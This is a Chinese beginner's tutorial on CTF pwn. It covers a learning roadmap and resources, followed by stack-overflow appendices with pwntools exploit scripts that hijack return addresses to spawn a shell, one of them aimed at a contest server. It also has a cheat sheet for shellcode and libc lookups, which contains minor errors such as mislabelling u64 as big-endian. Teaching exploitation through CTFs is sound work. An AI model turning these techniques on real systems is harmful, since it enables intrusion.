pwn入门教程
PWN入门 - This article is part of a series.
写给学弟学妹的pwn入门教程~
0x00 概述 #
Pwn
是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。– 《百度百科》
Pwn是CTF方向中的一种,主要是利用二进制漏洞从而获得 getShell(提权),即获得对方系统权限,从而控制对方电脑。
PWN 的学习流程大概是这样的:
- 从最基本的栈溢出漏洞开始学习,掌握最基本的栈溢出漏洞利用技巧
- ret2text
- ret2syscall
- ret2shellcode
- ret2libc
- 32位及64位程序的ROP
- 格式化字符串漏洞(fmtstr)
- 整数溢出漏洞 及 数组越界漏洞
- 其他高级一点的栈溢出漏洞利用技巧
- ret2csu
- ret2reg
- ret2dlresolve,
- ret2VDSO
- SROP
- BROP
- 花式栈溢出技巧
- 堆利用技巧
- Off-By-One
- UAF
- Fastbin Attack
- Unsorted Bin attack
- Unlink
- Tcache attack
- Largebin attack
- house of XXX
- 内核安全
- Linux Kernel Pwn 等等
- 以及还有其他架构的利用方式
- ARM PWN 等等
PWN 的学习难度可能会有那么一点点大,有一定的学习门槛,需要投入不少的时间和精力去学习。
但与此同时, PWN 也是一个十分有趣的方向,如果同学们对 pwn 感兴趣,对二进制安全感兴趣,也可以试着学习这个方向,如果在一段时间的学习后,还能够十分有热情地学习和实践,务必在二进制安全的路上坚持下去!
网安一定要学会自己动手实践,总结经验,我之后可能会在 个人博客上发一些入门的文章,但还是建议大家自己根据推荐的教程去进行自学,在学习pwn及学习CTF时自学与善用搜索引擎都是不可或缺的。
2023.8.30 更新:
推荐大家阅读 Toka 师傅写的文章: CTF经验贴|我们对PWN都有哪些误会 (qq.com),Toka 师傅写的真的太好了,写到我这个菜狗pwn手的心里了😭
0x01 入门教程推荐 #
学习链接:
Binary Exploitation - COMPASS CTF Wiki
南科大 COMPASS CTF Wiki 教程,简述了pwn部分的一些基础知识,可以让大家对pwn有更加全面的了解
CTF Wiki,是非常好的pwn学习资料,讲的细致且全面,入门可以从 栈部分 开始学习
yichen师傅写的二进制安全笔记,其中pwn入门部分是围绕 CTF Wiki 写的,可以两个一起学习
学习书籍推荐:
-
C/C++
- 《C Primer Plus》
- 《C++ Primer Plus》
-
汇编语言
- 《汇编语言》- 王爽
-
CTF相关
- 《CTF 竞赛权威指南 PWN篇》
- 《从0到1 CTFer成长之路》
-
计算机原理
- 《深入理解计算机系统》(大名鼎鼎的CSAPP)
- 《程序员的自我修养》
-
操作系统
- 《操作系统真象还原》
- 《鸟哥的Linux私房菜》
- 《深入理解Linux内核》
-
逆向工程
- 《逆向工程核心原理》
-
编译原理
- 《编译器设计》(Engineering a Compiler)
- 《编译原理》(Dragon book)
-
其他推荐阅读的书籍
- 《0day安全:软件漏洞分析技术》
- 《IDA Pro权威指南》
- 《漏洞战争 软件漏洞分析精要》
- 《加密与解密》
0x02 pwn环境与工具 #
关于pwn的环境搭建,
使用Windows的同学可以参考:
PWN环境二次搭建记录-Ubuntu 22.04 · ta0lve
使用macOS的同学可以参考:
Mac 环境下 PWN入门系列(一)-安全客 - 安全资讯平台 (anquanke.com)
在做pwn题时还会用到 IDA,安装和使用可以参考:
IDA的新手入门指南_ida教程_Beth Harmon的博客-CSDN博客
0x03 pwn做题平台 #
建议先从前三个平台的简单题开始做起~
攻防世界的题目考察知识点很明确,循序渐进的学习,还可以选择题目难度,对新手十分友好。
有近年以来各种比赛的题目,题目难度与排序没有必然联系,只是大体上是逐渐递增,前面的题目可能也会有一些难度,建议入门了再去开始做
同上
适合有一定基础的去做,题目质量很高,能够学到不少知识
同上,建议有一点基础再开始做
同上
基础知识讲解得很好,可以在实践中夯实计算机安全基础,不过对于CTF来说可能学习进程有慢,还是建议直接从前三个平台开始做题
附录 #
1.栈溢出原理 #
(copy from ctf-wiki)
栈溢出原理 - CTF Wiki (ctf-wiki.org)
介绍 ¶
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
基本示例 ¶ #
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。下面,我们举一个简单的例子:
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。
我们利用如下命令对其进行编译
➜ stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example
stack_example.c: In function ‘vulnerable’:
stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
gets(s);
^
/tmp/ccPU8rRA.o:在函数‘vulnerable’中:
stack_example.c:(.text+0x27): 警告: the `gets' function is dangerous and should not be used.
可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,
历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。
gcc 编译指令中,-m32
指的是生成 32 位程序; -fno-stack-protector
指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v
查看 gcc 默认的开关情况。如果含有--enable-default-pie
参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie
。
编译成功后,可以使用 checksec 工具检查编译出的文件:
➜ stack-example checksec stack_example
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 /proc/sys/kernel/randomize_va_space
来控制 ASLR 启动与否,具体的选项有
- 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
- 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space
关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。
为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。
确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。
.text:0804843B success proc near
.text:0804843B push ebp
.text:0804843C mov ebp, esp
.text:0804843E sub esp, 8
.text:08048441 sub esp, 0Ch
.text:08048444 push offset s ; "You Hava already controlled it."
.text:08048449 call _puts
.text:0804844E add esp, 10h
.text:08048451 nop
.text:08048452 leave
.text:08048453 retn
.text:08048453 success endp
那么如果我们读取的字符串为
0x14*'a'+'bbbb'+success_addr
那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为
+-----------------+
| 0x0804843B |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是
\x3b\x84\x04\x08
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了 (关于如何安装以及基本用法,请自行 github),这里利用 pwntools 的代码如下:
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
执行一波代码,可以得到
➜ stack-example python exp.py
[+] Starting local process './stack_example': pid 61936
;\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive
可以看到我们确实已经执行 success 函数。
小总结 ¶
上面的示例其实也展示了栈溢出中比较重要的几个步骤。
(1)寻找危险函数 ¶ #
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
- 输入
- gets,直接读取一行,忽略’\x00'
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
(2)确定填充长度 ¶ #
这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式
- 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
- 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
- 直接地址索引,就相当于直接给定了地址。
一般来说,我们会有如下的覆盖需求
- 覆盖函数返回地址,这时候就是直接看 EBP 即可。
- 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
- 覆盖 bss 段某个变量的内容。
- 根据现实执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。
2.基础栈溢出示例: #
(W4terCTF-2023 Level 0 Tic-Tac-Toe)
题目源码: #
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
int a[3][3];
void success() { system("/bin/sh"); }
void vulnerable()
{
char s[12];
// fflush(stdin);
puts("You win!!! Tell me your name:");
// fgets(s, 1000, stdin);
gets(s);
puts("soooooooo cool!");
return;
}
void init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
alarm(60);
}
void outputBoard()
{
puts("--------current chessBoard---------");
int i, j;
for (i = 0; i < 3; i++)
for (j = 0; j < 3; j++)
{
if (j == 0)
printf("|");
if (a[i][j] == 1)
printf("x");
if (a[i][j] == 2)
printf("o");
if (a[i][j] == 0)
printf(" ");
printf("|");
if (j == 2)
printf("\n");
}
puts("Let's go!!");
}
int checkBoard()
{
int i, j;
for (i = 0; i < 3; i++)
{
if (a[i][0] != 0 && a[i][0] == a[i][1] && a[i][0] == a[i][2])
{
return a[i][0];
}
if (a[0][i] != 0 && a[0][i] == a[1][i] && a[0][i] == a[2][i])
{
return a[0][i];
}
}
if (a[0][0] != 0 && a[0][0] == a[1][1] && a[1][1] == a[2][2])
{
return a[1][1];
}
if (a[0][2] != 0 && a[0][2] == a[1][1] && a[1][1] == a[2][0])
{
return a[1][1];
}
return 0;
}
bool play()
{
init();
srand(time(0));
int rest = 9;
memset(a, 0, sizeof a);
bool isNPC = false;
while (rest > 0)
{
outputBoard();
if (isNPC)
{
puts("My turn!");
int p = rand() % 3;
if (p)
{
puts("ooops, I suddenly fall asleep.......");
isNPC ^= 1;
}
else
{
isNPC ^= 1;
p = rand() % rest;
int i, j;
for (i = 0; i < 3 && p > 0; i++)
for (j = 0; j < 3 && p > 0; j++)
if (a[i][j] == 0)
{
--p;
if (p == 0)
{
a[i][j] = 2;
printf("I play at (%d, %d)\n", i, j);
rest--;
break;
}
}
}
}
else
{
puts("Your turn!");
puts("Please give me a position(0-8):");
int pos = 0;
scanf("%d", &pos);
getchar();
if (pos < 9 && pos >= 0 && a[pos / 3][pos % 3] == 0)
{
a[pos / 3][pos % 3] = 1;
rest--;
printf("You play at: (%d, %d)\n", pos / 3, pos % 3);
}
else
{
int i, j, p;
for (i = 0, p = 0; i < 3 && p == 0; i++)
for (j = 0; j < 3; j++)
if (a[i][j] == 0)
{
a[i][j] = 1;
p = 1;
rest--;
printf("Wrong Position! I help you play at: (%d, %d)\n", i, j);
break;
}
}
isNPC ^= 1;
}
int tmp = checkBoard();
if (tmp == 0)
{
continue;
}
if (tmp == 2)
{
return false;
}
if (tmp == 1)
{
return true;
}
}
return false;
}
int main(int argc, char **argv)
{
puts("Welcome to ez Tic-Tac-Toe!");
if (!play())
{
puts("you loose! Try again!");
return 0;
}
vulnerable();
return 0;
}
分析二进制文件: #
(1).将程序拖入IDA中查看反汇编代码
(也可以自己先利用题目给出的C语言源码搞清楚程序逻辑后再IDA分析) 可以看到当我们的游戏win时会让我们输入名字,且s字符串的大小只有16,
(2).用鼠标点击变量s,可以查看vulnerable函数的栈,
可以看到 s 的大小为0x14 - 0x4 = 0x10 = 16 s 离返回地址的距离为0x14 - 0x0 = 20 由32位栈调用的原理可知在跳到返回地址前函数栈还会pop ebp寄存器, 所以我们的填充数据段大小为20+4=24,
(3).最后找到我们要跳转到后门函数(或者是可以get shell)的地址
可以看到在地址为 0x08049236 的汇编代码是success函数的开始,所以我们的跳转的返回地址可以为 0x08049236 这里的返回地址还可以写0x08049242之前的其他地址: 0x08049237、0x08049239、0x0804923A、0x0804923D 但是0x08049242及之后的地址就不行了,因为转到这些地址时函数的get shell 指令就不能完整地执行 发送地址时我们用p32()来进行32位的小端打包字节并发送
exp: #
from pwn import*
context(arch = "amd64", os= 'linux')
context.log_level = 'debug'
taolve = remote('ctf.w4terdr0p.team', 26539)
#taolve = process('./0')
'''
填充字符
'''
offset = 24
#填充字符的长度
ret_adrr=0x08049236
payload = b'a'*offset + p32(ret_adrr)
#我们要修改为的返回地址
taolve.recvuntil(b'Please give me a position(0-8):')
taolve.sendline(b'1')
taolve.recvuntil(b'Please give me a position(0-8):')
taolve.sendline(b'1')
#填一个不合理的数字让电脑帮我们下棋()
#实际执行时发现我们随便填一个数字其实最后都是有可能win的,一次没win就两次()
taolve.recvuntil(b'Please give me a position(0-8):')
taolve.sendline(b'1')
taolve.recvuntil(b'Tell me your name:\n')
taolve.sendline(payload)
taolve.interactive()
#最后转到交互模式后还需要使用linux命令行来得到flag
#ls 指令来查看当前目录下有哪些文件和文件夹
#cat flag 来打印 flag
'''
如果出现下面这句话:
[*] Got EOF while reading in interactive
则说明可能之前的栈溢出填充字符的长度计算错误,
或者是我们所填写的返回地址有错误,
比如未完成之前的必要汇编指令就强行执行一些指令
'''
3. pwntools的基本使用 #
# python3
from pwn import * # 导入python库
### 0x01 环境设置
# 1
context.log_level = 'debug' # 在对漏洞进行故障排除
context.arch = 'i386'
context.os = 'linux'
# 2
context(os='linux', arch='amd64', log_level='debug')
# 3
context.binary = pwn_name # 从二进制文件推断目标架构、位与和字节序
### 0x02 建立链接
io = remote(ip,port) # 创建与ip:port的链接
p = process(pwn_name) # 执行二进制文件process
gdb.attach(p) # 在当前进程下调试二进制文件
### 0x03 利用elf文件
elf = ELF(pwn_name) # 封装有关 ELF 文件的信息
func_addr = elf.sym["func"] # 在ELF文件中查找函数的加载地址
func_got = elf.got["func"] # 在ELF文件中查找函数的got表地址
func_plt = elf.plt["func"] # 在ELF文件中查找函数的plt表地址
binsh_addr = elf.search(b'/bin/sh').__next()__ # 在ELF文件中查找字符串
binsh_addr = next(libc.search(b"/bin/sh")) # 这个写法也可以
### 0x04 利用本地libc文件
libc = ELF('./libc-2.23.so')
libc_base = puts_real_addr - libc.symbols['puts']
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
# binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
# 这个写法也可以
system_addr = libc_base + libc.symbols["system"]
### 0x05 查找libc文件
from LibcSearcher import *
libc = LibcSearcher('puts', puts_real_addr)
libc_base = puts_real_addr - libc.dump('puts')
log.success('libc_base ' + hex(libc_base))
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
### 0x06 生成shellcode
shellcode = shellcraft.sh() # 生成指定架构的shellcode 汇编语言
shellcode = asm(shellcode) # 转换为字节
### 0x07 接收发送字节
p.recv(size) # 接收 size 个字节 默认全部接收
p.recvline() # 接收字节直至遇到b'\n'
p.recvuntil(string) # 接受字节直到遇到 string
p.send(data) # 发送 data
p.sendline(data) # 发送 data 在后面加 b'\n'
p.sendafter(data) # 在接收 string 后发送data
p.sendlineafter(string,data) # 在接收 string 后发送data 在后面加 '\n'
p64(data) # 将 data 转换为64位小端序字节 也可以为32/16/8位字节
u64(data) # 将 data 转换为64位大端序字节 也可以为32/16/8位字节
### 0x08 创建一个交互shell
p.interactive()
还可以看看:
pwntools — pwntools 4.10.0 documentation
4. 学习路线 #
最后再放一张学习pwn的路线图,来源于华科的 C0lin 师傅:
同学们可以按照图中的绿色→黄色→红色的顺序学习pwn
还可以继续往下阅读学习本系列的文章:
5.参考链接 #
栈溢出原理 - CTF Wiki (ctf-wiki.org)